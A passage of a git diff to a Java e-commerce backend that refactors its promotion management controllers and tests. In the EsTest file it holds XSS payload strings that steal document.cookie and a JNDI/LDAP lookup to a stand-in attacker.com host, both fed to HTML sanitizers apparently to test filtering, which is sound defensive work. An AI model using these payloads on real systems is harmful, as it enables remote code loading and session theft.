a/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java +++ b/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java @@ -14,6 +14,14 @@ public enum GoodsTagsEnum { * "更新商品索引" */ UPDATE_GOODS_INDEX("更新商品索引"), + /** + * "更新商品索引促销信息" + */ + UPDATE_GOODS_INDEX_PROMOTIONS("更新商品索引促销信息"), + /** + * "更新商品索引促销信息" + */ + DELETE_GOODS_INDEX_PROMOTIONS("更新商品索引促销信息"), /** * "更新商品索引部分字段" diff --git a/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java b/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java index c65ac807..8b069ccc 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java @@ -1,6 +1,8 @@ package cn.lili.controller.other; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -57,7 +59,8 @@ public class CustomWordsController { return ""; } - if (!setting.getSettingValue().equals(secretKey)) { + JSONObject jsonObject = JSONUtil.parseObj(setting.getSettingValue()); + if (!secretKey.equals(jsonObject.get("secretKey"))) { throw new ServiceException(ResultCode.CUSTOM_WORDS_SECRET_KEY_ERROR); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java index d912fd83..635d9ff1 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java @@ -7,7 +7,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; import cn.lili.modules.promotion.service.CouponActivityService; import cn.lili.mybatis.util.PageUtil; @@ -19,6 +18,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 优惠券活动 * @@ -50,8 +51,10 @@ public class CouponActivityManagerController { @PostMapping @PutMapping(consumes = "application/json", produces = "application/json") public ResultMessage addCouponActivity(@RequestBody(required = false) CouponActivityDTO couponActivityDTO) { - couponActivityDTO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - return ResultUtil.data(couponActivityService.addCouponActivity(couponActivityDTO)); + if (couponActivityService.savePromotions(couponActivityDTO)) { + return ResultUtil.data(couponActivityDTO); + } + return ResultUtil.error(ResultCode.COUPON_ACTIVITY_SAVE_ERROR); } @ApiOperation(value = "关闭优惠券活动") @@ -60,7 +63,7 @@ public class CouponActivityManagerController { }) @DeleteMapping("/{id}") public ResultMessage updateStatus(@PathVariable String id) { - if (couponActivityService.updateCouponActivityStatus(id, PromotionStatusEnum.END)) { + if (couponActivityService.updateStatus(Collections.singletonList(id), null, null)) { return ResultUtil.success(ResultCode.SUCCESS); } throw new ServiceException(ResultCode.ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java index a178d83e..f2ed20ee 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java @@ -9,7 +9,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -44,13 +43,13 @@ public class CouponManagerController { @GetMapping public ResultMessage> getCouponList(CouponSearchParams queryParam, PageVO page) { queryParam.setStoreId("platform"); - return ResultUtil.data(couponService.getCouponsByPageFromMongo(queryParam, page)); + return ResultUtil.data(couponService.pageVOFindAll(queryParam, page)); } @ApiOperation(value = "获取优惠券详情") @GetMapping("/{couponId}") public ResultMessage getCoupon(@PathVariable String couponId) { - CouponVO coupon = couponService.getCouponDetailFromMongo(couponId); + CouponVO coupon = couponService.getDetail(couponId); return ResultUtil.data(coupon); } @@ -58,24 +57,24 @@ public class CouponManagerController { @PostMapping(consumes = "application/json", produces = "application/json") public ResultMessage addCoupon(@RequestBody CouponVO couponVO) { this.setStoreInfo(couponVO); - couponService.add(couponVO); + couponService.savePromotions(couponVO); return ResultUtil.data(couponVO); } @ApiOperation(value = "修改优惠券") @PutMapping(consumes = "application/json", produces = "application/json") public ResultMessage updateCoupon(@RequestBody CouponVO couponVO) { + this.setStoreInfo(couponVO); Coupon coupon = couponService.getById(couponVO.getId()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - couponService.updateCoupon(couponVO); + couponService.updatePromotions(couponVO); return ResultUtil.data(coupon); } @ApiOperation(value = "修改优惠券状态") @PutMapping("/status") - public ResultMessage updateCouponStatus(String couponIds, String promotionStatus) { + public ResultMessage updateCouponStatus(String couponIds, Long startTime, Long endTime) { String[] split = couponIds.split(","); - if (couponService.updateCouponStatus(Arrays.asList(split), PromotionStatusEnum.valueOf(promotionStatus))) { + if (couponService.updateStatus(Arrays.asList(split), startTime, endTime)) { return ResultUtil.success(ResultCode.COUPON_EDIT_STATUS_SUCCESS); } throw new ServiceException(ResultCode.COUPON_EDIT_STATUS_ERROR); @@ -84,9 +83,7 @@ public class CouponManagerController { @ApiOperation(value = "批量删除") @DeleteMapping(value = "/{ids}") public ResultMessage delAllByIds(@PathVariable List ids) { - for (String id : ids) { - couponService.deleteCoupon(id); - } + couponService.removePromotions(ids); return ResultUtil.success(); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java index 61206531..ef9d7c2e 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java @@ -5,7 +5,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 管理端,满额活动接口 * @@ -26,14 +28,15 @@ import org.springframework.web.bind.annotation.*; @Api(tags = "管理端,满额活动接口") @RequestMapping("/manager/promotion/fullDiscount") public class FullDiscountManagerController { + @Autowired private FullDiscountService fullDiscountService; @ApiOperation(value = "获取满优惠列表") @GetMapping - public ResultMessage> getCouponList(FullDiscountSearchParams searchParams, PageVO page) { + public ResultMessage> getCouponList(FullDiscountSearchParams searchParams, PageVO page) { page.setNotConvert(true); - return ResultUtil.data(fullDiscountService.getFullDiscountByPageFromMongo(searchParams, page)); + return ResultUtil.data(fullDiscountService.pageFindAll(searchParams, page)); } @ApiOperation(value = "获取满优惠详情") @@ -42,20 +45,14 @@ public class FullDiscountManagerController { return ResultUtil.data(fullDiscountService.getFullDiscount(id)); } - @ApiOperation(value = "获取满优惠商品列表") - @GetMapping("/goods/{id}") - public ResultMessage getCouponGoods(@PathVariable String id) { - return ResultUtil.data(fullDiscountService.getFullDiscount(id)); - } - @ApiOperation(value = "修改满额活动状态") @ApiImplicitParams({ @ApiImplicitParam(name = "id", value = "满额活动ID", required = true, paramType = "path"), @ApiImplicitParam(name = "promotionStatus", value = "满额活动状态", required = true, paramType = "path") }) - @PutMapping("/status/{id}/{promotionStatus}") - public ResultMessage updateCouponStatus(@PathVariable String id, @PathVariable String promotionStatus) { - if (fullDiscountService.updateFullDiscountStatus(id, PromotionStatusEnum.valueOf(promotionStatus))) { + @PutMapping("/status/{id}") + public ResultMessage updateCouponStatus(@PathVariable String id, Long startTime, Long endTime) { + if (fullDiscountService.updateStatus(Collections.singletonList(id), startTime, endTime)) { return ResultUtil.success(ResultCode.SUCCESS); } return ResultUtil.error(ResultCode.ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java index 0b6f305f..806115d6 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java @@ -6,6 +6,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; @@ -43,7 +44,7 @@ public class KanJiaActivityGoodsManagerController { @ApiOperation(value = "获取砍价活动分页") @GetMapping - public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { + public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page)); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java index f87c5655..4c5a1f0a 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java @@ -7,7 +7,7 @@ import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -19,7 +19,7 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; -import java.util.Date; +import java.util.Arrays; /** * 管理端,平台拼团接口 @@ -38,46 +38,35 @@ public class PintuanManagerController { @GetMapping(value = "/{id}") @ApiOperation(value = "通过id获取") - public ResultMessage get(@PathVariable String id) { - Pintuan pintuan = pintuanService.getPintuanByIdFromMongo(id); + public ResultMessage get(@PathVariable String id) { + PintuanVO pintuan = pintuanService.getPintuanVO(id); return ResultUtil.data(pintuan); } @GetMapping @ApiOperation(value = "根据条件分页查询拼团活动列表") - public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { - IPage pintuanByPageFromMongo = pintuanService.getPintuanByPageFromMongo(queryParam, pageVo); + public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { + IPage pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo); return ResultUtil.data(pintuanByPageFromMongo); } @GetMapping("/goods/{pintuanId}") @ApiOperation(value = "根据条件分页查询拼团活动商品列表") - public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { + public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setPromotionId(pintuanId); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - IPage promotionGoods = promotionGoodsService.getPromotionGoods(searchParams, pageVo); - return ResultUtil.data(promotionGoods); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } - @PutMapping("/open/{pintuanId}") - @ApiOperation(value = "手动开启拼团活动") - public ResultMessage openPintuan(@PathVariable String pintuanId, Long startTime, Long endTime) { - if (pintuanService.openPintuan(pintuanId, new Date(startTime), new Date(endTime))) { + @PutMapping("/status/{pintuanIds}") + @ApiOperation(value = "操作拼团活动状态") + public ResultMessage openPintuan(@PathVariable String pintuanIds, Long startTime, Long endTime) { + if (pintuanService.updateStatus(Arrays.asList(pintuanIds.split(",")), startTime, endTime)) { return ResultUtil.success(ResultCode.PINTUAN_MANUAL_OPEN_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_MANUAL_OPEN_ERROR); } - @PutMapping("/close/{pintuanId}") - @ApiOperation(value = "手动关闭拼团活动") - public ResultMessage closePintuan(@PathVariable String pintuanId) { - if (pintuanService.closePintuan(pintuanId)) { - return ResultUtil.success(ResultCode.PINTUAN_MANUAL_CLOSE_SUCCESS); - } - throw new ServiceException(ResultCode.PINTUAN_MANUAL_CLOSE_ERROR); - } - - } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java index db15c51f..ac71016e 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java @@ -1,12 +1,12 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.security.AuthUser; -import cn.lili.common.security.context.UserContext; import cn.lili.common.enums.ResultUtil; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsService; @@ -16,9 +16,9 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; -import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.Objects; /** * 管理端,积分商品接口 @@ -35,40 +35,34 @@ public class PointsGoodsManagerController { @PostMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "添加积分商品") - public ResultMessage addPointsGoods(@RequestBody List pointsGoodsList) { - List collect = new ArrayList<>(); - for (PointsGoodsVO i : pointsGoodsList) { - i.setStoreName(i.getGoodsSku().getStoreName()); - i.setStoreId(i.getGoodsSku().getStoreId()); - collect.add(i); + public ResultMessage addPointsGoods(@RequestBody List pointsGoodsList) { + if (pointsGoodsService.savePointsGoodsBatch(pointsGoodsList)) { + return ResultUtil.success(); } - pointsGoodsService.addPointsGoods(collect); - return ResultUtil.success(); + return ResultUtil.error(ResultCode.POINT_GOODS_ERROR); } @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改积分商品") public ResultMessage updatePointsGoods(@RequestBody PointsGoodsVO pointsGoods) { - AuthUser currentUser = UserContext.getCurrentUser(); - pointsGoods.setStoreId(currentUser.getId()); - pointsGoods.setStoreName("platform"); - pointsGoodsService.updatePointsGoods(pointsGoods); + Objects.requireNonNull(UserContext.getCurrentUser()); + pointsGoodsService.updatePromotions(pointsGoods); return ResultUtil.success(); } - @PutMapping("/{ids}") + @PutMapping("/status/{ids}") @ApiOperation(value = "修改积分商品状态") - public ResultMessage updatePointsGoodsStatus(@PathVariable String ids, String promotionStatus) { - if (pointsGoodsService.updatePointsGoodsPromotionStatus(Arrays.asList(ids.split(",")), promotionStatus)) { + public ResultMessage updatePointsGoodsStatus(@PathVariable String ids, Long startTime, Long endTime) { + if (pointsGoodsService.updateStatus(Arrays.asList(ids.split(",")), startTime, endTime)) { return ResultUtil.success(); } - throw new ServiceException(ResultCode.POINT_GOODS_ERROR); + return ResultUtil.error(ResultCode.POINT_GOODS_ERROR); } @DeleteMapping("/{ids}") @ApiOperation(value = "删除积分商品") public ResultMessage delete(@PathVariable String ids) { - if (pointsGoodsService.deletePointsGoods(Arrays.asList(ids.split(",")))) { + if (pointsGoodsService.removePromotions(Arrays.asList(ids.split(",")))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.POINT_GOODS_ERROR); @@ -76,8 +70,8 @@ public class PointsGoodsManagerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsByPage = pointsGoodsService.getPointsGoodsByPage(searchParams, page); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); return ResultUtil.data(pointsGoodsByPage); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java index fea4cb30..ce31ee2c 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java @@ -3,9 +3,11 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; -import cn.lili.modules.promotion.service.PromotionService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; +import cn.lili.modules.promotion.service.PromotionService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -42,8 +44,12 @@ public class PromotionManagerController { @GetMapping("/{promotionId}/goods") @ApiOperation(value = "获取当前进行中的促销活动商品") - public ResultMessage> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) { - IPage promotionGoods = promotionGoodsService.getCurrentPromotionGoods(promotionType, pageVO); + public ResultMessage> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(promotionId); + searchParams.setPromotionType(promotionType); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + IPage promotionGoods = promotionGoodsService.pageFindAll(searchParams, pageVO); return ResultUtil.data(promotionGoods); } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java index 27b02dfa..28e5cae1 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java @@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; + /** * 管理端,秒杀活动接口 * @@ -40,9 +42,9 @@ public class SeckillManagerController { @ApiOperation(value = "修改秒杀活动") - @PutMapping - public ResultMessage updateSeckill(SeckillVO seckillVO) { - seckillService.modifySeckill(seckillVO); + @PutMapping(consumes = "application/json", produces = "application/json") + public ResultMessage updateSeckill(@RequestBody SeckillVO seckillVO) { + seckillService.updatePromotions(seckillVO); return ResultUtil.data(seckillVO); } @@ -50,44 +52,36 @@ public class SeckillManagerController { @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") @GetMapping(value = "/{id}") public ResultMessage get(@PathVariable String id) { - Seckill seckill = seckillService.getSeckillByIdFromMongo(id); + Seckill seckill = seckillService.getById(id); return ResultUtil.data(seckill); } @ApiOperation(value = "分页查询秒杀活动列表") @GetMapping - public ResultMessage> getAll(SeckillSearchParams param, PageVO pageVo) { - return ResultUtil.data(seckillService.getSeckillByPageFromMongo(param, pageVo)); + public ResultMessage> getAll(SeckillSearchParams param, PageVO pageVo) { + return ResultUtil.data(seckillService.pageFindAll(param, pageVo)); } @ApiOperation(value = "删除一个秒杀活动") @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") @DeleteMapping("/{id}") public ResultMessage deleteSeckill(@PathVariable String id) { - seckillService.deleteSeckill(id); + seckillService.removePromotions(Collections.singletonList(id)); return ResultUtil.success(); } - @ApiOperation(value = "关闭一个秒杀活动") + @ApiOperation(value = "操作秒杀活动状态") @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") - @PutMapping("/close/{id}") - public ResultMessage closeSeckill(@PathVariable String id) { - seckillService.closeSeckill(id); - return ResultUtil.success(); - } - - @ApiOperation(value = "开启一个秒杀活动") - @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") - @PutMapping("/open/{id}") - public ResultMessage openSeckill(@PathVariable String id) { - seckillService.openSeckill(id); + @PutMapping("/status/{id}") + public ResultMessage updateSeckillStatus(@PathVariable String id, Long startTime, Long endTime) { + seckillService.updateStatus(Collections.singletonList(id), startTime, endTime); return ResultUtil.success(); } @ApiOperation(value = "获取秒杀活动申请列表") @GetMapping("/apply") public ResultMessage> getSeckillApply(SeckillSearchParams param, PageVO pageVo) { - IPage seckillApply = seckillApplyService.getSeckillApplyFromMongo(param, pageVo); + IPage seckillApply = seckillApplyService.getSeckillApply(param, pageVo); return ResultUtil.data(seckillApply); } diff --git a/manager-api/src/main/resources/application.yml b/manager-api/src/main/resources/application.yml index ec6937e6..09a6bd2a 100644 --- a/manager-api/src/main/resources/application.yml +++ b/manager-api/src/main/resources/application.yml @@ -131,6 +131,7 @@ ignored: - /manager/user/login - /manager/user/refresh/** - /manager/elasticsearch + - /manager/custom-words - /druid/** - /swagger-ui.html - /doc.html diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 0ddd4001..672e0a44 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -20,7 +20,6 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; -import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @@ -59,12 +58,20 @@ class EsTest { public static void main(String[] args) { - PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS); - String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"); - System.out.println(safeHTML); - System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); - System.out.println(HtmlUtil.unescape(safeHTML)); - System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS); +// String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"); +// System.out.println(safeHTML); +// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// System.out.println(HtmlUtil.unescape(safeHTML)); +// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// Date dt1 = new Date(2017, 3, 31); +// Date dt2 = new Date(2017, 5, 14)Z +// System.out.println(dt2.after(dt1)); + String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); + String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); + System.out.println(filter); + System.out.println(sanitize); + } @Test diff --git a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java index 5f40fd62..2bf84c3e 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java @@ -1,13 +1,15 @@ package cn.lili.test.promotion; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.vo.PageVO; import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -50,7 +52,6 @@ class CouponTest { couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name()); couponVO.setDescription(couponVO.getCouponName() + " are expensive"); couponVO.setGetType(CouponGetEnum.FREE.name()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); // couponVO.setStoreId("0"); // couponVO.setStoreName("platform"); couponVO.setStoreId("131"); @@ -61,7 +62,7 @@ class CouponTest { // couponVO.setPrice(200D); couponVO.setCouponDiscount(0.1D); - couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name()); + couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); couponVO.setScopeId("121"); couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-30 15:58:00")); couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-12-30 23:50:00")); @@ -82,7 +83,6 @@ class CouponTest { promotionGoods.setTitle(couponVO.getPromotionName()); promotionGoods.setPromotionId(couponVO.getId()); promotionGoods.setQuantity(1000); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoods.setPromotionType(PromotionTypeEnum.COUPON.name()); promotionGoodsList.add(promotionGoods); // @@ -99,7 +99,7 @@ class CouponTest { // promotionGoodsList.add(promotionGoods); // couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.add(couponVO)); + Assertions.assertNotNull(couponService.savePromotions(couponVO)); } @Test @@ -110,7 +110,6 @@ class CouponTest { couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name()); couponVO.setDescription(couponVO.getId() + " is expensive"); couponVO.setGetType(CouponGetEnum.FREE.name()); - couponVO.setPromotionStatus(PromotionStatusEnum.START.name()); couponVO.setStoreId("132"); couponVO.setStoreName("联想自营旗舰店"); couponVO.setStoreCommission(99.99D); @@ -119,7 +118,7 @@ class CouponTest { couponVO.setCouponDiscount(10D); couponVO.setPrice(0D); - couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name()); + couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); couponVO.setScopeId("134,133"); couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:01:00")); couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:10:00")); @@ -144,7 +143,6 @@ class CouponTest { promotionGoods.setStartTime(couponVO.getStartTime()); promotionGoods.setEndTime(couponVO.getEndTime()); promotionGoods.setTitle(couponVO.getPromotionName()); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoodsList.add(promotionGoods); promotionGoods = new PromotionGoods(); @@ -160,11 +158,10 @@ class CouponTest { promotionGoods.setStartTime(couponVO.getStartTime()); promotionGoods.setEndTime(couponVO.getEndTime()); promotionGoods.setTitle(couponVO.getPromotionName()); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoodsList.add(promotionGoods); couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.updateCoupon(couponVO)); + Assertions.assertNotNull(couponService.updatePromotions(couponVO)); } @Test @@ -174,23 +171,11 @@ class CouponTest { PageVO pageVo = new PageVO(); pageVo.setPageNumber(0); pageVo.setPageSize(10); - IPage couponsByPageFromMongo = couponService.getCouponsByPageFromMongo(queryParam, pageVo); + IPage couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo); Assertions.assertNotNull(couponsByPageFromMongo); couponsByPageFromMongo.getRecords().forEach(System.out::println); } - @Test - void searchFromMysql() { - CouponSearchParams queryParam = new CouponSearchParams(); - - PageVO pageVo = new PageVO(); - pageVo.setPageNumber(0); - pageVo.setPageSize(10); - IPage coupons = couponService.getCouponsByPage(queryParam, pageVo); - Assertions.assertNotNull(coupons); - coupons.getRecords().forEach(System.out::println); - } - @Test void delete() { // Assertions.assertTrue(couponService.deleteCoupon("1326001296591577088")); diff --git 